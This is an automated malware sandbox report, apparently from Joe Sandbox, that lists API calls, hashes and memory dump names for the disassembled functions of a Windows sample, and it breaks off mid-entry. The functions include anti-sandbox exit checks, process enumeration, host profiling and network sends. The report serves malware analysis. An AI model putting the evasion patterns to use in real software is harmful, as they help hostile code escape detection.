Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 63cd5e542e97fe48a5e47f7dd46fa8fe3d447d278064c6fe1a079585c42b52a7
Instruction ID: 1ad55c5590faee8e26192289fa32fb225358691ac6277e3c580b0a44092027f8
Opcode Fuzzy Hash: 63cd5e542e97fe48a5e47f7dd46fa8fe3d447d278064c6fe1a079585c42b52a7
Instruction Fuzzy Hash: 09118F72A44204AFD714CB98EC45FABBBBDEB88B11F10422AFA05D3380DB7459048BE1

Function 00401030 Relevance: 7.6, APIs: 5, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,00000000,00000000,?,?,00421E5A), ref: 00401046
VirtualAllocExNuma.KERNEL32(00000000,?,?,00421E5A), ref: 0040104D
ExitProcess.KERNEL32 ref: 00401058
VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,00421E5A), ref: 0040106C
VirtualFree.KERNEL32(00000000,17C841C0,00008000,?,?,00421E5A), ref: 004010AB

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma
String ID:
API String ID: 3477276466-0
Opcode ID: eebbf2a7d8a8f00017b338c7aa3164428bececb1a666839850d6e3d3436eabea
Instruction ID: aa33e4c314b55322e5f005f032d3d73aad5dab283e8b13059c6bb542b9569755
Opcode Fuzzy Hash: eebbf2a7d8a8f00017b338c7aa3164428bececb1a666839850d6e3d3436eabea
Instruction Fuzzy Hash: 5E0144713403047BE7240A656C1AF6B77AEA781B01F209029F744F33D0DAB1EA008AB8

Function 00417D60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00417DD4
std::_Xinvalid_argument.LIBCPMT ref: 00417DEF
memcpy.MSVCRT(?,?,?,00000000,?,00000000,?,00409186,?,?,?,?,00000000,?,00001000,?), ref: 00417E44

Part of subcall function 00417E80: std::_Xinvalid_argument.LIBCPMT ref: 00417E98
Part of subcall function 00417E80: std::_Xinvalid_argument.LIBCPMT ref: 00417EB6
Part of subcall function 00417E80: std::_Xinvalid_argument.LIBCPMT ref: 00417ED1
Part of subcall function 00417E80: memcpy.MSVCRT(?,?,?,00000000,?,?,00417DBA,00000000,?,?,00000000,?,00409186,?), ref: 00417F34

Strings

string too long, xrefs: 00417DCF, 00417DEA

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$memcpy
String ID: string too long
API String ID: 2304785028-2556327735
Opcode ID: 6a89c3f8d5a1f4bff38ab4df733606b08de1ae24a982f4e5ef67b3676922c93a
Instruction ID: 8cc79b66cb5b519718e58846ad6fe927743ec070db89bb510543436db22b056f
Opcode Fuzzy Hash: 6a89c3f8d5a1f4bff38ab4df733606b08de1ae24a982f4e5ef67b3676922c93a
Instruction Fuzzy Hash: 7C31D5323086148BD7209A6CE8809ABF7F5EF92764B20466FF55187781C7759C81839D

Function 0041F070 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041F0A3
StrCmpCA.SHLWAPI(?,ERROR,?,?,?,?,?,?,?,?,?,0041F5C8), ref: 0041F0BE
lstrcpy.KERNEL32(00000000,ERROR), ref: 0041F11F

Strings

ERROR, xrefs: 0041F0B8, 0041F119

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: ERROR
API String ID: 3722407311-2861137601
Opcode ID: 56404c45ebb530a39d46f474edf82050ec212050ea1fd6d48b9b1043bf2b57c1
Instruction ID: 2f8a9757f64988c9f480c6ae0c275d0c92c3e801e747b2960019797ab098cc34
Opcode Fuzzy Hash: 56404c45ebb530a39d46f474edf82050ec212050ea1fd6d48b9b1043bf2b57c1
Instruction Fuzzy Hash: 152137707101069BCB21FF79DD4969B37A4AF54304F10543AB84AEB2D2DE78DC598B98

Function 00408D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(?,00408C6B,00000000,?,?,00000000), ref: 00408D62
std::exception::exception.LIBCMT ref: 00408D7D
__CxxThrowException@8.LIBCMT ref: 00408D92

Strings

$KC, xrefs: 00408D87, 00408D73, 00408D8A

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: ??2@Exception@8Throwstd::exception::exception
String ID: $KC
API String ID: 3448701045-1012773322
Opcode ID: 51656279e56368e7ce8787016bc7534fb037c8a5d6e2363c95d7d4a48b92e3ae
Instruction ID: b2a08596474d7957a22417a507aa23d885842d8934a0086806a9bcddfe39eae7
Opcode Fuzzy Hash: 51656279e56368e7ce8787016bc7534fb037c8a5d6e2363c95d7d4a48b92e3ae
Instruction Fuzzy Hash: 68E02B7050060997CB14FBB49D016BFB3A89F00305F40076EE911A21C1EF78D614C19E

Function 00423C20 Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

Part of subcall function 004273F0: lstrcpy.KERNEL32(00000000,ERROR), ref: 0042740E

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000), ref: 00423C66
Process32First.KERNEL32(00000000,00000128), ref: 00423C79
Process32Next.KERNEL32(00000000,00000128), ref: 00423C8F

Part of subcall function 00427520: lstrlenA.KERNEL32(?,00406E30), ref: 0042752B
Part of subcall function 00427520: lstrcpy.KERNEL32(00000000), ref: 0042754F
Part of subcall function 00427520: lstrcatA.KERNEL32(?,?), ref: 00427559

Part of subcall function 00427490: lstrcpy.KERNEL32(00000000), ref: 004274BE

CloseHandle.KERNEL32(00000000), ref: 00423DC7

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 1f338a5379f0b02cc2090d63530a6f8d1636cef100bf74cbc3c03d8bb5d098d1
Instruction ID: b06b57548e3028c5a0fa7e066d0c6898496b01570d54fa1c17c96423d85aa7fb
Opcode Fuzzy Hash: 1f338a5379f0b02cc2090d63530a6f8d1636cef100bf74cbc3c03d8bb5d098d1
Instruction Fuzzy Hash: F2811630A00224CFC714CF19E948B96B7F1BB4431AF69C1AAD4095B3A2D77A9D86CF94

Function 00424690 Relevance: 6.0, APIs: 4, Instructions: 40stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000,00000000), ref: 004246A2
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004246BD
CloseHandle.KERNEL32(00000000), ref: 004246C4
lstrcpy.KERNEL32(00000000,?), ref: 004246F7

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcesslstrcpy
String ID:
API String ID: 4028989146-0
Opcode ID: e1aa63b471c0de3d918d596a9d597ce69cff9a8d12e3ac5db9ca2bc78ca78cb0
Instruction ID: 89b3fd9b368b49522ab5d19e174988168d5e162c6f02c99092bafe11d3b8975f
Opcode Fuzzy Hash: e1aa63b471c0de3d918d596a9d597ce69cff9a8d12e3ac5db9ca2bc78ca78cb0
Instruction Fuzzy Hash: EAF0FCB0A012256FE7205B74AD4DBE776A8DF55304F4001A5FA85D72D0DBF898808BE4

Function 00413520 Relevance: 5.5, APIs: 4, Instructions: 486stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

lstrcpy.KERNEL32(00000000,?), ref: 00413572
lstrcpy.KERNEL32(00000000,?), ref: 0041359B
lstrcpy.KERNEL32(00000000,?), ref: 004135C1
lstrcpy.KERNEL32(00000000,?), ref: 004135E7

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: c5543d4ceb30344e7656e515d13b294fd3cef6b6f3e6ec7aaceeeb9741041357
Instruction ID: 189003b246af164e0b666199af868299eeb39cd2f4310dd5171a60ab8cf0f5e3
Opcode Fuzzy Hash: c5543d4ceb30344e7656e515d13b294fd3cef6b6f3e6ec7aaceeeb9741041357
Instruction Fuzzy Hash: 5412FD70A112018FDB28CF19C554B66B7E5BF4471AB19C0AEE809DB3A1D77ADD82CF84

Function 004010C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 004010EA
ExitProcess.KERNEL32 ref: 00401114

Strings

@, xrefs: 004010E2

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: f127fba7727a91b88187df4bdea323de0718f2841fffded282c9bdb05d23b48c
Instruction ID: 822a68ba0681b22967503a2222785f0e102d58cfae2bd9798b899adfc8918474
Opcode Fuzzy Hash: f127fba7727a91b88187df4bdea323de0718f2841fffded282c9bdb05d23b48c
Instruction Fuzzy Hash: A8F027701082444BEB186A64DD4A32EF7D9EB46350F10493BEEDAE72E2E278C840857F

Function 00425327 Relevance: 4.6, APIs: 3, Instructions: 59networkCOMMON

Download Yara Rule

APIs

send.WS2_32(00000000,?,?,00000000), ref: 00425386
closesocket.WS2_32(00000000), ref: 00425392
WSACleanup.WS2_32 ref: 00425398

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Cleanupclosesocketsend
String ID:
API String ID: 869633743-0
Opcode ID: 6d4c7b362644fc00ecc84d01687001c68c2b48e403c9008b58b9341fcd1b2eea
Instruction ID: 37f250c66848d37a6772de9212ab879d867e9edd681b65deba7963ac663c1324
Opcode Fuzzy Hash: 6d4c7b362644fc00ecc84d01687001c68c2b48e403c9008b58b9341fcd1b2eea
Instruction Fuzzy Hash: C0219031E10528DBCB10EB64ED41AEEB735FF84314F9045AAE848A7195DF742E818FD4

Function 00422CA0 Relevance: 4.5, APIs: 3, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,00000000), ref: 00422CCF
HeapAlloc.KERNEL32(00000000), ref: 00422CD6
GetComputerNameA.KERNEL32(00000000,00000104), ref: 00422CEA

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: d84918a8bab9d2b40bac2b81053a19d5874cca919af21581d430d2c9d0c7d92e
Instruction ID: 1ad5e2c4eb5efa73f1b35bfbbb8ccb03f83dc81d7400d569231bf54a936ba5f3
Opcode Fuzzy Hash: d84918a8bab9d2b40bac2b81053a19d5874cca919af21581d430d2c9d0c7d92e
Instruction Fuzzy Hash: 2301D672B44254ABC714CF99ED45B9AF7B8F744B21F10026BFD15D3780D7B859008AE1

Function 00425C70 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 22stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00425C78

Part of subcall function 00425AA0: memmove.MSVCRT(?,?,?,00000000), ref: 00425AE7

Strings

PB, xrefs: 00425C7E
HTTP/1.1Host: , xrefs: 00425C75

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: memmovestrlen
String ID: HTTP/1.1Host: $PB
API String ID: 3405231851-3011640361
Opcode ID: f218da002cb4603149a90ec8c81179333e21726a8fd461ac9ef38addaddcbf33
Instruction ID: 059d489370889156b18e61e496ae3aeff4b4f1b87ee36da66bf270bf6876b59f
Opcode Fuzzy Hash: f218da002cb4603149a90ec8c81179333e21726a8fd461ac9ef38addaddcbf33
Instruction Fuzzy Hash: DBE08C703042185BD3306FA9E885B67BBECEF446A8F40052AF549C7342D7B9980483E6

Function 004024E0 Relevance: 4.1, APIs: 3, Instructions: 395stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

lstrcpy.KERNEL32(00000000,?), ref: 00402528
lstrcpy.KERNEL32(00000000,?), ref: 0040254E
lstrcpy.KERNEL32(00000000,?), ref: 00402577

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 2a6f53eaf18a5c72d2224d78b572c825c81cf0867ab2bb1a407e070b1ebf8281
Instruction ID: bbf0ac654a7c5ca4664c9c0d407af63bc7b7504fa4f74331c34d7a1a857b09ce
Opcode Fuzzy Hash: 2a6f53eaf18a5c72d2224d78b572c825c81cf0867ab2bb1a407e070b1ebf8281
Instruction Fuzzy Hash: 28F10075A012018FDB58CF19C658B26B7E5AF44318B19C1BED809AB3E1D7BADC42CF94

Function 0041D2E0 Relevance: 4.1, APIs: 3, Instructions: 389stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

lstrcpy.KERNEL32(00000000,?), ref: 0041D324
lstrcpy.KERNEL32(00000000,?), ref: 0041D346
lstrcpy.KERNEL32(00000000,?), ref: 0041D367

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 88528ece8c4cf49eedbb16e3fdb09ef611ff776386038cbb65843b0778e5611a
Instruction ID: 2e869e03ed219c964972a4d737d1f92a1b516a3e0f5311db0d380505e2b60abd
Opcode Fuzzy Hash: 88528ece8c4cf49eedbb16e3fdb09ef611ff776386038cbb65843b0778e5611a
Instruction Fuzzy Hash: 62F1EDB0E012118FDB28CF19C554B66B7E1BF44718B19C1AED8099B3A6D77AEC82CF54

Function 0041BDB0 Relevance: 3.8, APIs: 3, Instructions: 98stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041BE49
lstrcpy.KERNEL32(00000000,?), ref: 0041BE79
lstrcpy.KERNEL32(00000000,?), ref: 0041BEA4

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 2d744fb8f2841367f8edc90572bf8ef184b2cbb36ed5e508c84c8277ad8d990e
Instruction ID: ca1cfde19954f55b869ef86f53effb72ae3a6e14c33f5e3b154f3b69fe03f6f8
Opcode Fuzzy Hash: 2d744fb8f2841367f8edc90572bf8ef184b2cbb36ed5e508c84c8277ad8d990e
Instruction Fuzzy Hash: 3331AC30B102158BC721FF6EDA8A59E77B0AF50304F10507AB446BB291DE78ED448FD8

Function 0041D1E0 Relevance: 3.1, APIs: 2, Instructions: 83stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0041D1FC

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

Part of subcall function 0041CDD0: wsprintfA.USER32 ref: 0041CDEC
Part of subcall function 0041CDD0: FindFirstFileA.KERNEL32(?,?), ref: 0041CE03
Part of subcall function 0041CDD0: lstrcatA.KERNEL32(?,?), ref: 0041CE4F
Part of subcall function 0041CDD0: StrCmpCA.SHLWAPI(?,004317A8), ref: 0041CE61
Part of subcall function 0041CDD0: StrCmpCA.SHLWAPI(?,004317AC), ref: 0041CE7B
Part of subcall function 0041CDD0: wsprintfA.USER32 ref: 0041CEA0
Part of subcall function 0041CDD0: PathMatchSpecA.SHLWAPI(?,00869B40), ref: 0041CED2
Part of subcall function 0041CDD0: CoInitialize.OLE32(00000000), ref: 0041CEDE
Part of subcall function 0041CDD0: CoUninitialize.COMBASE ref: 0041CEF9
Part of subcall function 0041CDD0: lstrcatA.KERNEL32(?,?), ref: 0041CF1E
Part of subcall function 0041CDD0: lstrlenA.KERNEL32(?), ref: 0041CF2B

strtok_s.MSVCRT ref: 0041D255

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
